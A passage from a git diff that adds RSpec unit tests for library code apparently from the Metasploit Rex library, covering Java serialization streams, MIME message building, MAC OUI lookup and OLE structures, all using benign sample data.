be_a(Rex::Java::Serialization::Model::Stream) + end + + it "initializes magic with java serialized stream signature" do + expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) + end + + it "initializes version with java serialized stream default version " do + expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION) + end + + it "initializes references as empty array " do + expect(stream.references).to be_empty + end + + it "initializes stream to nil by default" do + expect(stream.stream).to be_nil + end + end + + describe "#decode" do + context "when deserializing a simple Object stream" do + it "deserializes an Stream" do + expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "deserializes the signature correctly" do + stream.decode(easy_object_stream_io) + expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) + end + + it "deserializes all the contents" do + stream.decode(easy_object_stream_io) + expect(stream.contents.length).to eq(1) + end + + it "deserializes a simple object correctly" do + stream.decode(easy_object_stream_io) + expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject) + end + end + + context "when deserializing a char array" do + it "deserializes an Stream" do + expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "deserializes the char array correctly" do + stream.decode(char_array_stream_io) + expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray) + end + end + + context "when deserializing a complex stream with references" do + it "deserializes an Stream" do + expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "deserializes all the contents in the Stream" do + stream.decode(complex_stream_io) + expect(stream.contents.length).to eq(4) + end + + it "deserializes object contents" do + stream.decode(complex_stream_io) + expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject) + end + end + end + + describe "#to_s" do + it "prints a simple Object stream" do + stream.decode(easy_object_stream_io) + expect(stream.to_s).to eq(easy_object_stream_to_s) + end + + it "prints a char array stream" do + stream.decode(char_array_stream_io) + expect(stream.to_s).to eq(char_array_stream_to_s) + end + + it "prints a complex stream with references" do + stream.decode(complex_stream_io) + expect(stream.to_s).to eq(complex_stream_to_s) + end + end + + describe "#encode" do + context "when serializing a simple Object stream" do + it "serializes the Stream" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') + new_class_desc.serial_version = 0x741de1bcbb2fcbaa + new_class_desc.flags = 2 + field = Rex::Java::Serialization::Model::Field.new + field.type = 'int' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') + new_class_desc.fields << field + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [['int', 0x41424344]] + + stream.contents << new_object + expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*")) + end + end + + context "when serializing a char array" do + it "serializes the Stream" do + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') + new_class_desc.serial_version = 0xb02666b0e25d84ac + new_class_desc.flags = 2 + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_class_desc + new_array.type = 'char' + new_array.values = [97, 98] + + stream.contents << new_array + expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*")) + end + end + + context "when reserializing a complex stream" do + it "reserializes the original stream" do + stream.decode(complex_stream_io) + expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb new file mode 100644 index 0000000000..a022cf9e18 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/utf_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::Utf do + subject(:utf) do + described_class.new + end + + let(:sample_utf) { "\x00\x10java.lang.Number" } + let(:sample_utf_io) { StringIO.new(sample_utf) } + let(:empty_utf) { "\x00\x00" } + let(:empty_utf_io) { StringIO.new(empty_utf) } + let(:incomplete_utf) { "\x00\x10java.lang.Numb" } + let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } + let(:empty_io) { StringIO.new('') } + + describe ".new" do + it "Rex::Java::Serialization::Model::Utf" do + expect(utf).to be_a(Rex::Java::Serialization::Model::Utf) + end + + it "initializes length to 0" do + expect(utf.length).to eq(0) + end + + it "initializes contents with empty string" do + expect(utf.contents).to be_empty + end + end + + describe "#encode" do + context "when empty utf" do + it { expect(utf.encode).to eq(empty_utf) } + end + + context "when filled utf" do + it do + utf.length = 16 + utf.contents = 'java.lang.Number' + expect(utf.encode).to eq(sample_utf) + end + end + end + + describe "#decode" do + context "when stream contains empty string" do + it "raises RuntimeError" do + expect { utf.decode(empty_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains empty utf" do + it "returns a Rex::Java::Serialization::Model::Utf" do + expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) + end + + it "sets length to 0" do + utf.decode(empty_utf_io) + expect(utf.length).to eq(0) + end + + it "sets contents to empty string" do + utf.decode(empty_utf_io) + expect(utf.contents).to be_empty + end + end + + context "when stream contains incomplete utf" do + it "raises RuntimeError" do + expect { utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains correct utf" do + + it "returns a Rex::Java::Serialization::Model::Utf" do + expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) + end + + it "sets length to 0" do + utf.decode(sample_utf_io) + expect(utf.length).to eq(16) + end + + it "sets contents to sample string" do + utf.decode(sample_utf_io) + expect(utf.contents).to eq('java.lang.Number') + end + end + end + + describe "#to_s" do + it "prints an stream containing a sample utf" do + utf.decode(sample_utf_io) + expect(utf.to_s).to eq('java.lang.Number') + end + + it "prints an stream containing an empty utf" do + utf.decode(empty_utf_io) + expect(utf.to_s).to eq('') + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb new file mode 100644 index 0000000000..a4f185ef5f --- /dev/null +++ b/spec/lib/rex/mac_oui_spec.rb @@ -0,0 +1,86 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mac_oui' + +describe Rex::Oui do + describe ".lookup_oui_fullname" do + subject(:oui_fullname) { described_class.lookup_oui_fullname(mac) } + + context "when valid mac for OUI with name" do + let(:mac) { '000011' } + let(:name) { 'Tektrnix' } + it { is_expected.to eq(name) } + end + + context "when valid mac for OUI with name and long name" do + let(:mac) { '00:00:0E:12:34:56' } + let(:name) { 'Fujitsu' } + let(:long_name) { 'FUJITSU LIMITED' } + it { is_expected.to eq("#{name} / #{long_name}") } + end + + context "when valid mac format, without OUI" do + let(:mac) { '11:22:33:44:55:66'} + it { is_expected.to eq('UNKNOWN') } + end + + context "when invalid mac format" do + let(:mac) { 'invalid' } + it "raises an error" do + expect { oui_fullname }.to raise_error + end + end + end + + describe ".lookup_oui_company_name" do + subject(:oui_company_name) { described_class.lookup_oui_company_name(mac) } + + context "when valid mac for OUI with name" do + let(:mac) { '000011' } + let(:name) { 'Tektrnix' } + it { is_expected.to eq(name) } + end + + context "when valid mac for OUI with name and long name" do + let(:mac) { '00:00:0E:12:34:56' } + let(:name) { 'Fujitsu' } + let(:long_name) { 'FUJITSU LIMITED' } + it { is_expected.to eq(long_name) } + end + + context "when valid mac format, without OUI" do + let(:mac) { '11:22:33:44:55:66'} + it { is_expected.to eq('UNKNOWN') } + end + + context "when invalid mac format" do + let(:mac) { 'invalid' } + it "raises an error" do + expect { oui_company_name }.to raise_error + end + end + end + + describe ".check_mac" do + context "when valid mac" do + it { expect(described_class.check_mac('AA:BB:CC')).to be_nil } + it { expect(described_class.check_mac('AABBCC')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD')).to be_nil } + it { expect(described_class.check_mac('AABBCCDD')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD:EE')).to be_nil } + it { expect(described_class.check_mac('AABBCCDDEE')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD:EE:FF')).to be_nil } + it { expect(described_class.check_mac('AABBCCDDEEFF')).to be_nil } + end + + context "when invalid mac" do + it { expect { described_class.check_mac('AA') }.to raise_error } + it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error } + it { expect { described_class.check_mac('AA:BB') }.to raise_error } + it { expect { described_class.check_mac('AABB') }.to raise_error } + it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error } + it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error } + end + end +end diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb new file mode 100644 index 0000000000..85f7a9fc27 --- /dev/null +++ b/spec/lib/rex/mime/encoding_spec.rb @@ -0,0 +1,32 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Encoding do + + subject do + mod = Class.new + mod.extend described_class + mod + end + + describe "#force_crlf" do + it "deletes \\r characters" do + expect(subject.force_crlf("Test\r1\r")).to_not include("\\r") + end + + it "substitutes \\n characters by \\r\\n sequences" do + expect(subject.force_crlf("Test 2\n")).to end_with("\r\n") + end + + it "preserves \r\n sequences" do + expect(subject.force_crlf("\r\nTest 3\r\n")).to eq("\r\nTest 3\r\n") + end + + it "first deletes \\r characters, then substitutes \\n characters" do + expect(subject.force_crlf("\rTest 4\r\n\r\r\n")).to eq("Test 4\r\n\r\n") + end + end + +end diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb new file mode 100644 index 0000000000..e4063d86ac --- /dev/null +++ b/spec/lib/rex/mime/header_spec.rb @@ -0,0 +1,151 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Header do + + let(:mime_headers_test) do + <<-EOS +Content-Type: text/plain; +Content-Disposition: attachment; filename="test.txt" + EOS + end + + subject do + described_class.new + end + + describe "#initialize" do + subject(:header_class) do + described_class.allocate + end + + it "returns an Array" do + expect(header_class.send(:initialize)).to be_a(Array) + end + + it "creates an empty headers array by default" do + expect(header_class.send(:initialize)).to be_empty + end + + it "populates headers array with data from argument" do + header_class.send(:initialize, mime_headers_test) + expect(header_class.headers.length).to be(2) + end + end + + describe "#add" do + it "returns the added entry" do + expect(subject.add('var', 'val')).to eq(['var', 'val']) + end + + it "adds a new entry into the headers array" do + subject.add('var', 'val') + expect(subject.headers.length).to eq(1) + end + end + + describe "#set" do + it "returns the set value" do + expect(subject.set('var', 'val')).to eq('val') + end + + it "modifies the header entry if it exists" do + subject.add('var', 'val') + subject.set('var', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var', 'val2']) + end + + it "creates the header entry if doesn't exist" do + subject.set('var2', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var2', 'val2']) + end + end + + describe "#remove" do + it "doesn't remove any header if index doesn't exist" do + subject.add('var', 'val') + subject.remove(10000) + expect(subject.headers.length).to eq(1) + end + + it "doesn't remove any header if var name doesn't exist" do + subject.add('var', 'val') + subject.remove('var2') + expect(subject.headers.length).to eq(1) + end + + it "removes header entry if index exists" do + subject.add('var', 'val') + subject.remove(0) + expect(subject.headers.length).to eq(0) + end + + it "removes any header entry with var name" do + subject.add('var', 'val') + subject.add('var2', 'val2') + subject.add('var', 'val3') + subject.remove('var') + expect(subject.headers.length).to eq(1) + end + end + + describe "#find" do + it "returns nil if header index doesn't exist" do + expect(subject.find(1)).to be_nil + end + + it "returns nil if header var name doesn't exist" do + expect(subject.find('var')).to be_nil + end + + it "returns the header at index if exists" do + subject.add('var', 'val') + expect(subject.find(0)).to eq(['var', 'val']) + end + + it "returns the first header with var name if exists" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var', 'val3') + expect(subject.find('var')).to eq(['var', 'val']) + end + end + + describe "#to_s" do + it "returns empty String if there aren't headers" do + expect(subject.to_s).to be_empty + end + + it "returns string with headers separated by \\r\\n sequences" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var3', 'val3') + expect(subject.to_s).to eq("var: val\r\nvar: val2\r\nvar3: val3\r\n") + end + end + + describe "#parse" do + let(:complex_header) do + 'Date: Wed,20 Aug 2014 08:45:38 -0500' + end + + it "parses headers separated by lines" do + subject.parse(mime_headers_test) + expect(subject.headers.length).to eq(2) + end + + it "parses headers names and values separated by :" do + subject.parse(mime_headers_test) + expect(subject.headers).to eq([['Content-Type', 'text/plain;'], ['Content-Disposition', 'attachment; filename="test.txt"']]) + end + + it "parses headers with ':' characters in the value" do + subject.parse(complex_header) + expect(subject.headers).to eq([['Date', 'Wed,20 Aug 2014 08:45:38 -0500']]) + end + end +end diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb new file mode 100644 index 0000000000..ec3cfc0c23 --- /dev/null +++ b/spec/lib/rex/mime/message_spec.rb @@ -0,0 +1,411 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' +require 'rex/text' + +describe Rex::MIME::Message do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:message_class) do + described_class.allocate + end + + let(:raw_message) do + message = "MIME-Version: 1.0\r\n" + message << "Content-Type: multipart/mixed; boundary=\"_Part_12_3195573780_381739540\"\r\n" + message << "Subject: Pull Request\r\n" + message << "Date: Wed,20 Aug 2014 08:45:38 -0500\r\n" + message << "Message-ID: <WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>\r\n" + message << "From: contributor@msfdev.int\r\n" + message << "To: msfdev@msfdev.int\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540\r\n" + message << "Content-Disposition: inline; filename=\"content\"\r\n" + message << "Content-Type: application/octet-stream; name=\"content\"\r\n" + message << "Content-Transfer-Encoding: base64\r\n" + message << "\r\n" + message << "Q29udGVudHM=\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540--\r\n" + + message + end + + it "creates a new Rex::MIME::Header" do + message_class.send(:initialize) + expect(message_class.header).to be_a(Rex::MIME::Header) + end + + it "creates an empty array of parts" do + message_class.send(:initialize) + expect(message_class.parts).to be_empty + end + + it "creates a random bound" do + message_class.send(:initialize) + expect(message_class.bound).to include('_Part_') + end + + it "allows to populate headers from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.headers.length).to eq(7) + end + + it "allows to create a MIME-Version header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "allows to create a Content-Type header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Content-Type')).to eq(['Content-Type', "multipart/mixed; boundary=\"_Part_12_3195573780_381739540\""]) + end + + it "allows to create a Subject header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Subject')).to eq(['Subject', 'Pull Request']) + end + + it "allows to create a Date header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Date')).to eq(['Date', 'Wed,20 Aug 2014 08:45:38 -0500']) + end + + it "allows to create a Message-ID header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Message-ID')).to eq(['Message-ID', '<WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>']) + end + + it "allows to create a From header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('From')).to eq(['From', 'contributor@msfdev.int']) + end + + it "allows to create a To header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('To')).to eq(['To', 'msfdev@msfdev.int']) + end + + it "allows to populate parts from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.parts.length).to eq(1) + end + + it "allows to populate parts headers from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.header.headers.length).to eq(3) + end + + it "allows to populate parts contents from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.content).to eq("Q29udGVudHM=") + end + end + + describe "#to" do + it "returns nil if To: header doesn't exist" do + expect(subject.to).to be_nil + end + + it "returns the To: header value if it exists" do + subject.header.add('To', 'msfdev') + expect(subject.to).to eq('msfdev') + end + end + + describe "#to=" do + it "sets the To: header value" do + subject.to = 'msfdev' + expect(subject.to).to eq('msfdev') + end + end + + + describe "#from" do + it "returns nil if From: header doesn't exist" do + expect(subject.from).to be_nil + end + + it "returns the From: header value if it exists" do + subject.header.add('From', 'msfdev') + expect(subject.from).to eq('msfdev') + end + end + + describe "#from=" do + it "sets the From: header value" do + subject.from = 'msfdev' + expect(subject.from).to eq('msfdev') + end + end + + describe "#subject" do + it "returns nil if Subject: header doesn't exist" do + expect(subject.subject).to be_nil + end + + it "returns the Subject: header value if it exists" do + subject.header.add('Subject', 'msfdev') + expect(subject.subject).to eq('msfdev') + end + end + + describe "#subject=" do + it "sets the Subject: header value" do + subject.subject = 'msfdev' + expect(subject.subject).to eq('msfdev') + end + end + + describe "#mime_defaults" do + it "sets the MIME-Version header" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to_not be_nil + end + + it "sets the MIME-Version header to '1.0'" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "sets the Content-Type header" do + subject.mime_defaults + expect(subject.header.find('Content-Type')).to_not be_nil + end + + it "sets the Content-Type header to multipart/mixed" do + subject.mime_defaults + expect(subject.header.find('Content-Type')[1]).to include('multipart/mixed') + end + + it "sets the Subject header" do + subject.mime_defaults + expect(subject.header.find('Subject')).to_not be_nil + end + + it "sets the Subject header to empty string" do + subject.mime_defaults + expect(subject.header.find('Subject')).to eq(['Subject', '']) + end + + it "sets the Message-ID header" do + subject.mime_defaults + expect(subject.header.find('Message-ID')).to_not be_nil + end + + it "sets the From header" do + subject.mime_defaults + expect(subject.header.find('From')).to_not be_nil + end + + it "sets the From header to empty string" do + subject.mime_defaults + expect(subject.header.find('From')).to eq(['From', '']) + end + + it "sets the To header" do + subject.mime_defaults + expect(subject.header.find('To')).to_not be_nil + end + + it "sets the To header to empty string" do + subject.mime_defaults + expect(subject.header.find('To')).to eq(['To', '']) + end + end + + describe "#add_part" do + subject(:part) do + described_class.new.add_part(*args) + end + + let(:args) { [] } + + it "returns the new part" do + expect(part).to be_a(Rex::MIME::Part) + end + + it "set part's Content-Type to text/plain by default" do + expect(part.header.find('Content-Type')[1]).to eq('text/plain') + end + + it "set part's Content-Transfer-Encoding to 8bit by default" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('8bit') + end + + it "doesn't set part's Content-Disposition by default" do + expect(part.header.find('Content-Disposition')).to be_nil + end + + context "with Content-Type argument" do + let(:args) { ['', 'application/pdf'] } + + it "creates a part Content-Type header" do + expect(part.header.find('Content-Type')[1]).to eq('application/pdf') + end + end + + context "with Content-Transfer-Encoding argument" do + let(:args) { ['', 'application/pdf', 'binary'] } + + it "creates a part Content-Transfer-Encoding header" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('binary') + end + end + + context "with Content-Disposition argument" do + let(:args) { ['', 'application/pdf', 'binary', 'attachment; filename="fname.ext"'] } + + it "creates a part Content-Disposition header" do + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="fname.ext"') + end + end + + context "with content argument" do + let(:args) { ['msfdev'] } + + it "creates part content" do + expect(part.content).to eq('msfdev') + end + end + + end + + describe "#add_part_attachment" do + it "requires data argument" do + expect { subject.add_part_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="name"') + end + end + + describe "#add_part_inline_attachment" do + it "requires data argument" do + expect { subject.add_part_inline_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_inline_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_inline_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('inline; filename="name"') + end + end + + describe "#to_s" do + let(:regexp_mail) do + regex = "MIME-Version: 1.0\r\n" + regex << "Content-Type: multipart/mixed; boundary=\"_Part_.*\"\r\n" + regex << "Subject: Pull Request\r\n" + regex << "Date: .*\r\n" + regex << "Message-ID: <.*@.*>\r\n" + regex << "From: contributor@msfdev.int\r\n" + regex << "To: msfdev@msfdev.int\r\n" + regex << "\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: inline\r\n" + regex << "Content-Type: text/plain\r\n" + regex << "Content-Transfer-Encoding: base64\r\n" + regex << "\r\n" + regex << "Q29udGVudHM=\r\n" + regex << "\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + let(:regexp_web) do + regex = "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"action\"\r\n" + regex << "\r\n" + regex << "save\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n" + regex << "Content-Type: application/octet-stream\r\n" + regex << "\r\n" + regex << "Contents\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"title\"\r\n" + regex << "\r\n" + regex << "Title\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + it "returns empty string if Rex::MIME::Message is empty" do + expect(subject.to_s).to be_empty + end + + it "generates valid MIME email messages" do + subject.mime_defaults + subject.from = "contributor@msfdev.int" + subject.to = "msfdev@msfdev.int" + subject.subject = "Pull Request" + subject.add_part(Rex::Text.encode_base64("Contents", "\r\n"), "text/plain", "base64", "inline") + expect(regexp_mail.match(subject.to_s)).to_not be_nil + end + + it "generates valid MIME web forms" do + subject.add_part("save", nil, nil, "form-data; name=\"action\"") + subject.add_part("Contents", "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"test.txt\"") + subject.add_part("Title", nil, nil, "form-data; name=\"title\"") + expect(regexp_web.match(subject.to_s)).to_not be_nil + end + end + +end diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb new file mode 100644 index 0000000000..1f150f882f --- /dev/null +++ b/spec/lib/rex/mime/part_spec.rb @@ -0,0 +1,92 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Part do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:part_class) do + described_class.allocate + end + + it "initializes the Rex::MIME::Header object" do + part_class.send(:initialize) + expect(part_class.header).to be_a(Rex::MIME::Header) + end + + it "initializes the Rex::MIME::Header with an empty array of headers" do + part_class.send(:initialize) + expect(part_class.header.headers).to be_empty + end + + it "Initializes content with an empty String" do + part_class.send(:initialize) + expect(part_class.content).to be_empty + end + end + + describe "#transfer_encoding" do + it "returns nil if the part hasn't a Content-Transfer-Encoding header" do + expect(subject.transfer_encoding).to be_nil + end + + it "returns the transfer encoding value if a Content-Transfer-Encoding header exists" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.transfer_encoding).to eq('base64') + end + end + + describe "#binary_content?" do + it "returns false if transfer encoding isn't defined" do + expect(subject.binary_content?).to be_falsey + end + + it "returns false if transfer encoding isn't binary" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.binary_content?).to be_falsey + end + + it "returns true if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + expect(subject.binary_content?).to be_truthy + end + end + + describe "#content_encoded" do + let(:content_test) do + "\rTest1\n" + end + + it "returns the exact content if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + subject.content = content_test + expect(subject.content_encoded).to eq(content_test) + end + + it "returns the content crlf encoded if transfer encoding isn't binary" do + subject.content = content_test + expect(subject.content_encoded).to eq("Test1\r\n") + end + end + + describe "#to_s" do + it "returns headers and content separated by two \\r\\n sequences" do + subject.header.add('var', 'val') + subject.content = 'content' + expect(subject.to_s).to eq("var: val\r\n\r\ncontent\r\n") + end + + it "returns two \\r\\n sequences if part is empty" do + expect(subject.to_s).to eq("\r\n\r\n") + end + + it "ends with \\r\\n sequence" do + expect(subject.to_s).to end_with("\r\n") + end + end +end diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb new file mode 100644 index 0000000000..8385a57a38 --- /dev/null +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -0,0 +1,58 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::CLSID do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" } + + subject(:clsid) do + described_class.new(sample_clsid) + end + + describe "#initialize" do + subject(:clsid_class) do + described_class.allocate + end + + it "returns the buf value" do + expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid) + end + + context "when buf is nil" do + it "returns padding" do + expect(clsid_class.send(:initialize)).to eq("\x00" * 16) + end + end + end + + describe "#pack" do + it "returns the buf field" do + expect(clsid.pack).to eq(sample_clsid) + end + end + + describe "#to_s" do + it "returns printable clsid" do + expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff') + end + + context "when buf is nil" do + it "raises NoMethodError" do + clsid.instance_variable_set(:@buf, nil) + expect { clsid.to_s }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than 16 bytes" do + it "raises TypeError" do + clsid.instance_variable_set(:@buf, '') + expect { clsid.to_s }.to raise_error(TypeError) + end + end + end +end diff --git a/spec/lib/rex/ole/difat_spec.rb b/spec/lib/rex/ole/difat_spec.rb new file mode 100644 index 0000000000..82a5cc9694 --- /dev/null +++ b/spec/lib/rex/ole/difat_spec.rb @@ -0,0 +1,294 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::DIFAT do + before(:each) do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + end + + let(:storage) do + Rex::OLE::Storage.new + end + + subject(:difat) do + described_class.new(storage) + end + + describe ".new" do + it "returns a Rex::OLE::DIFAT instance" do + expect(described_class.new(storage)).to be_a(Rex::OLE::DIFAT) + end + + it "initializes @stg" do + expect(difat.instance_variable_get(:@stg)).to eq(storage) + end + + it "initializes @entries" do + expect(difat.instance_variable_get(:@entries)).to be_an(Array) + end + + it "initializes @entries as empty array" do + expect(difat.instance_variable_get(:@entries)).to be_empty + end + end + + describe "#[]=" do + context "when the entry doesn't exist" do + it "sets an element in the @entries array" do + difat[0] = 1 + expect(difat.instance_variable_get(:@entries)[0]).to eq(1) + end + end + + context "when the entry exists" do + it "replaces the element in the @entries array" do + difat[0] = 1 + difat[0] = 2 + expect(difat.instance_variable_get(:@entries)[0]).to eq(2) + end + end + end + + describe "#[]" do + context "when the entry doesn't exist" do + it "returns nil" do + expect(difat[3]).to eq(nil) + end + end + + context "when the entry exists" do + it "returns the entry value" do + difat[3] = 31 + expect(difat[3]).to eq(31) + end + end + end + + + describe "#+" do + context "when @entries is empty" do + it "sets the @entries values" do + difat + [1, 2] + expect(difat.instance_variable_get(:@entries)).to eq([1, 2]) + end + end + + context "when @entries isn't empty" do + it "concatenates the array to @entries" do + difat[2] = 0 + difat + [1, 2] + expect(difat.instance_variable_get(:@entries)).to eq([nil, nil, 0, 1, 2]) + end + end + end + + describe "#<<" do + it "concatenates the element to the @entries array" do + difat[0] = 1 + difat << 3 + expect(difat.instance_variable_get(:@entries)).to eq([1, 3]) + end + end + + describe "#length" do + subject(:difat_length) do + difat.length + end + 